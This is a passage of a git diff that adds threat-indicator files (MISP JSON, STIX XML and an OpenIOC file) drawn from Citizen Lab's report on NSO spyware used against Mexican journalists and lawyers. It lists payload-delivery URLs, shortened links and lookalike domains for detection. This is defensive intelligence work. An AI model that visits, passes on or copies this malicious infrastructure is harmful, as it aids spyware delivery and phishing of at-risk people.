"595141af-1c0c-40a8-9059-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/5723329s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16303", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-ae9c-46b6-bd19-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/5851721s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16304", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-e238-48f1-8fdf-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/6532946s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16305", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-545c-45eb-8055-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/6809853s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16306", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-4e28-43e0-abb7-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/6843502s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16307", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-af04-42cd-8891-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/7564969s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16308", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-b5e0-4b6e-a4ea-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/7972736s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16309", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-fc1c-407c-a526-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/8167459s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16310", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-64c8-4783-8cfc-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/8439927s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16311", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-2e50-4760-826b-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/8592764s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16312", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-d7c4-4ec4-b292-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/9436744s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16313", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-e3dc-4232-b605-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/tinyurl.com\/j7luz86", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16314", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-f744-4f14-825e-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/tinyurl.com\/o2tq8rl", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16315", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-73d4-45d1-aecd-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/twiitter.com.mx\/2857663s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16316", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-8adc-48ba-b585-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/unonoticias.net\/1214510s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16317", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-6b7c-430b-ac54-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/unonoticias.net\/3423768s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "10", + "org_id": "2", + "info": "The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender", + "value": "http:\/\/unonoticias.net\/3423768s\/" + } + } + ] + }, + { + "id": "16318", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-4ed0-493c-abb8-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/unonoticias.net\/5819525s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16319", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-8d70-4703-8aab-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/unonoticias.net\/6218095s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16320", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-1650-4b7a-a3f3-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/unonoticias.net\/9250302s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16321", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-2dac-4f74-9717-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/unonoticias.net\/9804185s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + } + ], + "ShadowAttribute": [ + + ], + "RelatedEvent": [ + { + "Event": { + "id": "10", + "date": "2016-08-24", + "threat_level_id": "1", + "info": "The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender", + "published": true, + "uuid": "581c1022-5c68-4617-9ea4-497a8e96ca05", + "analysis": "2", + "timestamp": "1478636960", + "distribution": "1", + "org_id": "2", + "orgc_id": "2" + }, + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + } + } + ], + "Tag": [ + { + "id": "8", + "name": "PUBLISHED", + "colour": "#91caff", + "exportable": true, + "org_id": false + }, + { + "id": "7", + "name": "DETECT", + "colour": "#cccccc", + "exportable": true, + "org_id": false + }, + { + "id": "5", + "name": "SOURCE:CITIZENLAB", + "colour": "#ffad0d", + "exportable": true, + "org_id": false + }, + { + "id": "3", + "name": "TLP:GREEN", + "colour": "#04cc18", + "exportable": true, + "org_id": false + }, + { + "id": "39", + "name": "TARGET:MEXICO", + "colour": "#056685", + "exportable": true, + "org_id": false + } + ] + } +}]} \ No newline at end of file diff --git a/data/ioc/spyware/citizen_lab/201706_RecklessExploit/openioc.ioc b/data/ioc/spyware/citizen_lab/201706_RecklessExploit/openioc.ioc new file mode 100644 index 0000000..b137c63 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201706_RecklessExploit/openioc.ioc @@ -0,0 +1,513 @@ + + + Event #104 + Reckless Exploit: Mexican Journalists, Lawyers, and a Child Targeted with NSO Spyware + + citizenlab + 2017-06-26T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201706_RecklessExploit/stix.xml b/data/ioc/spyware/citizen_lab/201706_RecklessExploit/stix.xml new file mode 100644 index 0000000..eb482d5 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201706_RecklessExploit/stix.xml @@ -0,0 +1,2766 @@ + + + Export from MISP + Threat Report + + + + + + Reckless Exploit: Mexican Journalists, Lawyers, and a Child Targeted with NSO Spyware (MISP Event #104) + Threat Report + + + + Reckless Exploit: Mexican Journalists, Lawyers, and a Child Targeted with NSO Spyware + 104 + + 2017-06-26T00:00:00+00:00 + 2017-06-26T13:30:22+00:00 + + Closed + + + External analysis + + External analysis: https://citizenlab.org/2017/06/reckless-exploit-mexico-nso/ (MISP Attribute #16322) + Malware Artifacts + URL Watchlist + External analysis: https://citizenlab.org/2017/06/reckless-exploit-mexico-nso/ (MISP Attribute #16322) + + + + + https://citizenlab.org/2017/06/reckless-exploit-mexico-nso/ + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ideas-telcel.com.mx (MISP Attribute #16155) + Malware Artifacts + Domain Watchlist + Network activity: ideas-telcel.com.mx (MISP Attribute #16155) + + + + + ideas-telcel.com.mx + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: iusacell-movil.com.mx (MISP Attribute #16156) + Malware Artifacts + Domain Watchlist + Network activity: iusacell-movil.com.mx (MISP Attribute #16156) + + + + + iusacell-movil.com.mx + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mymensaje-sms.com (MISP Attribute #16157) + Malware Artifacts + Domain Watchlist + Network activity: mymensaje-sms.com (MISP Attribute #16157) + + + + + mymensaje-sms.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: network190.com (MISP Attribute #16158) + Malware Artifacts + Domain Watchlist + Network activity: network190.com (MISP Attribute #16158) + + + + + network190.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: secure-access10.mx (MISP Attribute #16159) + Malware Artifacts + Domain Watchlist + Network activity: secure-access10.mx (MISP Attribute #16159) + + + + + secure-access10.mx + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: smscentro.com (MISP Attribute #16160) + Malware Artifacts + Domain Watchlist + Network activity: smscentro.com (MISP Attribute #16160) + + + + + smscentro.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: smsmensaje.mx (MISP Attribute #16161) + Malware Artifacts + Domain Watchlist + Network activity: smsmensaje.mx (MISP Attribute #16161) + + + + + smsmensaje.mx + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: twiitter.com.mx (MISP Attribute #16162) + Malware Artifacts + Domain Watchlist + Network activity: twiitter.com.mx (MISP Attribute #16162) + + + + + twiitter.com.mx + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: unonoticias.net (MISP Attribute #16163) + Malware Artifacts + Domain Watchlist + Network activity: unonoticias.net (MISP Attribute #16163) + + + + + unonoticias.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fb-accounts.com (MISP Attribute #16164) + Malware Artifacts + Domain Watchlist + Network activity: fb-accounts.com (MISP Attribute #16164) + + + + + fb-accounts.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1EQYOkG (MISP Attribute #16207) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1EQYOkG (MISP Attribute #16207) + + + + + http://bit.ly/1EQYOkG + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1hMG15k (MISP Attribute #16208) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1hMG15k (MISP Attribute #16208) + + + + + http://bit.ly/1hMG15k + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1JDkjuX (MISP Attribute #16209) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1JDkjuX (MISP Attribute #16209) + + + + + http://bit.ly/1JDkjuX + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1JW0JFQ (MISP Attribute #16210) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1JW0JFQ (MISP Attribute #16210) + + + + + http://bit.ly/1JW0JFQ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1JzfmW1 (MISP Attribute #16211) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1JzfmW1 (MISP Attribute #16211) + + + + + http://bit.ly/1JzfmW1 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1KDekJ9 (MISP Attribute #16212) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1KDekJ9 (MISP Attribute #16212) + + + + + http://bit.ly/1KDekJ9 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1KufGUy (MISP Attribute #16213) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1KufGUy (MISP Attribute #16213) + + + + + http://bit.ly/1KufGUy + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1LLY8oK (MISP Attribute #16214) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1LLY8oK (MISP Attribute #16214) + + + + + http://bit.ly/1LLY8oK + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1LLYT15 (MISP Attribute #16215) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1LLYT15 (MISP Attribute #16215) + + + + + http://bit.ly/1LLYT15 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1MAAWrO (MISP Attribute #16216) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1MAAWrO (MISP Attribute #16216) + + + + + http://bit.ly/1MAAWrO + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1MAzTZ7 (MISP Attribute #16217) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1MAzTZ7 (MISP Attribute #16217) + + + + + http://bit.ly/1MAzTZ7 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1NlM0ME (MISP Attribute #16218) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1NlM0ME (MISP Attribute #16218) + + + + + http://bit.ly/1NlM0ME + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1Nr0Vpb (MISP Attribute #16219) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1Nr0Vpb (MISP Attribute #16219) + + + + + http://bit.ly/1Nr0Vpb + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1Nz2RZe (MISP Attribute #16220) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1Nz2RZe (MISP Attribute #16220) + + + + + http://bit.ly/1Nz2RZe + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1NzkyeZ (MISP Attribute #16221) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1NzkyeZ (MISP Attribute #16221) + + + + + http://bit.ly/1NzkyeZ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1O77vPb (MISP Attribute #16222) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1O77vPb (MISP Attribute #16222) + + + + + http://bit.ly/1O77vPb + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1QbgONr (MISP Attribute #16223) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1QbgONr (MISP Attribute #16223) + + + + + http://bit.ly/1QbgONr + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1QYVJU9 (MISP Attribute #16224) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1QYVJU9 (MISP Attribute #16224) + + + + + http://bit.ly/1QYVJU9 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1s2eguc (MISP Attribute #16225) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1s2eguc (MISP Attribute #16225) + + + + + http://bit.ly/1s2eguc + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1SU5N7q (MISP Attribute #16226) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1SU5N7q (MISP Attribute #16226) + + + + + http://bit.ly/1SU5N7q + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1TTjm6D (MISP Attribute #16227) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1TTjm6D (MISP Attribute #16227) + + + + + http://bit.ly/1TTjm6D + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1twXSDl (MISP Attribute #16228) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1twXSDl (MISP Attribute #16228) + + + + + http://bit.ly/1twXSDl + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1U0yzVG (MISP Attribute #16229) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1U0yzVG (MISP Attribute #16229) + + + + + http://bit.ly/1U0yzVG + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1Wzryvp (MISP Attribute #16230) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1Wzryvp (MISP Attribute #16230) + + + + + http://bit.ly/1Wzryvp + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1WzrZ8T (MISP Attribute #16231) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1WzrZ8T (MISP Attribute #16231) + + + + + http://bit.ly/1WzrZ8T + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1X9kJRJ (MISP Attribute #16232) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1X9kJRJ (MISP Attribute #16232) + + + + + http://bit.ly/1X9kJRJ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1XFaS4F (MISP Attribute #16233) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1XFaS4F (MISP Attribute #16233) + + + + + http://bit.ly/1XFaS4F + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1Xxf32k (MISP Attribute #16234) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1Xxf32k (MISP Attribute #16234) + + + + + http://bit.ly/1Xxf32k + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/1z2NQdh (MISP Attribute #16235) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/1z2NQdh (MISP Attribute #16235) + + + + + http://bit.ly/1z2NQdh + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/20Y9r10 (MISP Attribute #16236) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/20Y9r10 (MISP Attribute #16236) + + + + + http://bit.ly/20Y9r10 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/235giae (MISP Attribute #16237) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/235giae (MISP Attribute #16237) + + + + + http://bit.ly/235giae + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/246dkRy (MISP Attribute #16238) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/246dkRy (MISP Attribute #16238) + + + + + http://bit.ly/246dkRy + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/246doke (MISP Attribute #16239) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/246doke (MISP Attribute #16239) + + + + + http://bit.ly/246doke + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/25nmH1O (MISP Attribute #16240) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/25nmH1O (MISP Attribute #16240) + + + + + http://bit.ly/25nmH1O + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/292heXd (MISP Attribute #16241) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/292heXd (MISP Attribute #16241) + + + + + http://bit.ly/292heXd + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/295RmfH (MISP Attribute #16242) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/295RmfH (MISP Attribute #16242) + + + + + http://bit.ly/295RmfH + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/295RNq7 (MISP Attribute #16243) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/295RNq7 (MISP Attribute #16243) + + + + + http://bit.ly/295RNq7 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/29eWFqz (MISP Attribute #16244) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/29eWFqz (MISP Attribute #16244) + + + + + http://bit.ly/29eWFqz + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/29eWzzv (MISP Attribute #16245) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/29eWzzv (MISP Attribute #16245) + + + + + http://bit.ly/29eWzzv + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/29LfZfD (MISP Attribute #16246) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/29LfZfD (MISP Attribute #16246) + + + + + http://bit.ly/29LfZfD + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/29lQvyh (MISP Attribute #16247) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/29lQvyh (MISP Attribute #16247) + + + + + http://bit.ly/29lQvyh + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://bit.ly/2a0hZ2l (MISP Attribute #16248) + Malware Artifacts + URL Watchlist + Payload delivery: http://bit.ly/2a0hZ2l (MISP Attribute #16248) + + + + + http://bit.ly/2a0hZ2l + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://fb-accounts.com/1074139s/ (MISP Attribute #16249) + Malware Artifacts + URL Watchlist + Payload delivery: http://fb-accounts.com/1074139s/ (MISP Attribute #16249) + + + + + http://fb-accounts.com/1074139s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://fb-accounts.com/2069487s/ (MISP Attribute #16250) + Malware Artifacts + URL Watchlist + Payload delivery: http://fb-accounts.com/2069487s/ (MISP Attribute #16250) + + + + + http://fb-accounts.com/2069487s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://ideas-telcel.com.mx/1930327s (MISP Attribute #16251) + Malware Artifacts + URL Watchlist + Payload delivery: http://ideas-telcel.com.mx/1930327s (MISP Attribute #16251) + + + + + http://ideas-telcel.com.mx/1930327s + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://ideas-telcel.com.mx/2110126s/ (MISP Attribute #16252) + Malware Artifacts + URL Watchlist + Payload delivery: http://ideas-telcel.com.mx/2110126s/ (MISP Attribute #16252) + + + + + http://ideas-telcel.com.mx/2110126s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://ideas-telcel.com.mx/7757294s 